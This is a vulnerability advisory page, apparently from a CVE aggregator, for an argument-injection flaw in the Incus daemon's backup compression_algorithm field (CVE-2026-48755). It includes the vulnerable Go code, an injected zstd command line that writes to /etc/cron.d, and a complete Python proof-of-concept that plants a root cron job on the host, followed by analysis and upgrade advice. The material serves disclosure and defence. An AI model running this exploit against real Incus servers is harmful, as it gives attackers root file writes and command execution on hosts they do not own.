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Incus EUVDEUVD-2026-63982

| CVE-2026-48755 CRITICAL
Improper Input Validation (CWE-20)
2026-06-26 https://github.com/lxc/incus GHSA-v6mj-8pf4-hhw4
9.9
CVSS 3.1 · Vendor: https://github.com/lxc/incus
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Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY
9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI
9.9 CRITICAL

Network API reachable, low complexity, but needs an authenticated backup-capable client so PR:L; root daemon writing host files outside the instance is a scope change with full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE
CRITICAL
qualitative
Red Hat
9.9 CRITICAL
qualitative

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 26, 2026 - 19:49 vuln.today
Analysis Generated
Jun 26, 2026 - 19:49 vuln.today
CVE Published
Jun 26, 2026 - 19:03 github-advisory
CRITICAL 9.9

DescriptionCVE.org

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:

go
fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
    return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:

go
args := []string{"-c"}
if len(fields) > 1 {
    args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile

With a value like:

text
zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

text
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

python3 poc.py \
	--insecure --url https://remote-incus:8443 \
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
	--instance c01 \
	--execute --yes-i-understand-this-writes-host-file

The following was generated by an LLM model.

#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default.  --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:

    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>

The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.
"""

from __future__ import annotations

import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any

import requests


def q(value: str) -> str:
    return urllib.parse.quote(value, safe="")


def api(base: str, endpoint: str, **params: str) -> str:
    return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")


def project_instance(project: str, instance: str) -> str:
    return instance if project == "default" else f"{project}_{instance}"


def clean_guest_path(path: str) -> str:
    if not path.startswith("/"):
        raise ValueError("--guest-path must be absolute")
    if ".." in PurePosixPath(path).parts:
        raise ValueError("--guest-path must not contain '..'")
    return os.path.normpath("/" + path.lstrip("/")).lstrip("/")


def source_path(args: argparse.Namespace) -> str:
    if args.source_host_path:
        return args.source_host_path
    return os.path.join(
        args.incus_dir,
        "storage-pools",
        args.pool,
        args.storage_kind,
        project_instance(args.project, args.instance),
        "rootfs",
        clean_guest_path(args.guest_path),
    )


def cron(command: str) -> bytes:
    return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()


def session(args: argparse.Namespace) -> requests.Session:
    s = requests.Session()
    s.verify = False if args.insecure else (args.cacert or True)
    if args.cert or args.key:
        s.cert = (args.cert, args.key)
    if args.token:
        s.headers["Authorization"] = "Bearer " + args.token
    s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
    if args.insecure:
        requests.packages.urllib3.disable_warnings()
# type: ignore[attr-defined]
    return s


def check(resp: requests.Response, what: str) -> requests.Response:
    if resp.status_code >= 400:
        try:
            detail: Any = resp.json()
        except Exception:
            detail = resp.text[:2048]
        raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
    return resp


def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
    headers = {
        "Content-Type": "application/octet-stream",
        "X-Incus-type": "file",
        "X-Incus-write": "overwrite",
        "X-Incus-uid": "0",
        "X-Incus-gid": "0",
        "X-Incus-mode": "0644",
    }
    print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")


def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
    print("[*] sending direct backup request")
    resp = s.post(
        url,
        data=json.dumps(body).encode(),
        headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
        timeout=args.timeout,
        stream=True,
    )
    print(f"[*] backup HTTP {resp.status_code}")
    resp.close()
    if resp.status_code >= 400:
        print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
    p.add_argument("--url", required=True, help="https://host:8443")
    p.add_argument("--cert", help="client certificate PEM")
    p.add_argument("--key", help="client private key PEM")
    p.add_argument("--cacert", help="CA certificate PEM")
    p.add_argument("--token", help="bearer token")
    p.add_argument("--insecure", action="store_true", help="disable TLS verification")
    p.add_argument("--timeout", type=int, default=180)

    p.add_argument("--project", default="default")
    p.add_argument("--instance", required=True)
    p.add_argument("--pool", default="default")
    p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
    p.add_argument("--incus-dir", default="/var/lib/incus")
    p.add_argument("--guest-path", default="/incus-zstd-cron")
    p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")
    p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
    p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")

    p.add_argument("--execute", action="store_true", help="stage payload and send backup request")
    p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")
    args = p.parse_args()

    if urllib.parse.urlparse(args.url).scheme != "https":
        p.error("--url must use https")
    if bool(args.cert) != bool(args.key):
        p.error("--cert and --key must be supplied together")
    if args.execute and not args.yes_i_understand_this_writes_host_file:
        p.error("--execute requires --yes-i-understand-this-writes-host-file")
    try:
        clean_guest_path(args.guest_path)
    except ValueError as exc:
        p.error(str(exc))

    args.url = args.url.rstrip("/")
    return args


def main() -> int:
    args = parse_args()
    src = source_path(args)
    payload = cron(args.command)
    compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
    body = {"compression_algorithm": compressor, "instance_only": True}

    print("[*] target:", args.url)
    print("[*] project:", args.project)
    print("[*] instance:", args.instance)
    print("[*] source host path:", src)
    print("[*] cron path:", args.cron_path)
    print("[*] payload:", payload.decode().rstrip())
    print("[*] backup body:", json.dumps(body, sort_keys=True))

    if not args.execute:
        print("[*] dry run only; add --execute and the confirmation flag to act")
        return 0

    s = session(args)
    upload(s, args, payload)
    trigger_backup(s, args, body)
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except BrokenPipeError:
        raise SystemExit(1)
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        raise SystemExit(1)

Impact

Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.

AnalysisAI

Argument injection in the Incus daemon (incusd) backup feature lets an authenticated remote API client (PR:L) write arbitrary files on the host as root and likely escalate to code execution, affecting all versions before 7.2.0. The backup compression_algorithm field is split into tokens but only the first token is allowlist-validated, so trailing flags are passed straight to compressors like zstd. Publicly available exploit code exists (a full Python PoC is published in the GHSA advisory); rated CVSS 9.9 and tagged RCE, though it is not listed in CISA KEV.

Technical ContextAI

Incus is a system container and virtual-machine manager (a community fork of Canonical's LXD) that exposes a REST API over TLS for managing instances, storage, and backups. The flaw is a CWE-20 improper input validation issue in the incusd backup path: compression_algorithm is parsed with shellquote.Split() and only fields[0] is checked against an allowlist (bzip2, gzip, lz4, lzma, pigz, pzstd, pxz, tar2sqfs, xz, zstd) and resolved via exec.LookPath. compressFile() then builds exec.Command(fields[0], '-c', fields[1:]...) and runs it with attacker-controlled trailing arguments, no shell sanitization needed. Because zstd supports flags such as --pass-through and -o <outfile>, the compressor can be coerced into writing attacker-controlled bytes to an arbitrary host path (e.g. /etc/cron.d/) instead of acting as a stdout filter. The affected package per the CPE is pkg:go/github.com/lxc/incus/v7/cmd/incusd.

RemediationAI

Upgrade incusd to the fixed release - Vendor-released patch: 7.2.0 - on every Incus host, per advisory GHSA-v6mj-8pf4-hhw4 (https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4). Until the upgrade is deployed, reduce exposure by tightly restricting who can authenticate to the Incus API and who holds certificates/tokens able to create backups (this CVE requires PR:L), and by network-restricting the API listener (commonly TCP 8443) to trusted management networks only - the trade-off is reduced remote manageability. Audit RBAC/project permissions so untrusted or multi-tenant clients cannot invoke instance backups, and monitor for unexpected writes to host paths such as /etc/cron.d/ created around backup operations; note that constraining backup access may disrupt legitimate automated backup tooling. Do not rely on the compression allowlist as a control, since the allowlist check is precisely what is bypassed.

Vendor StatusVendor

SUSE

Severity: Critical

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EUVD-2026-63982 vulnerability details – vuln.today

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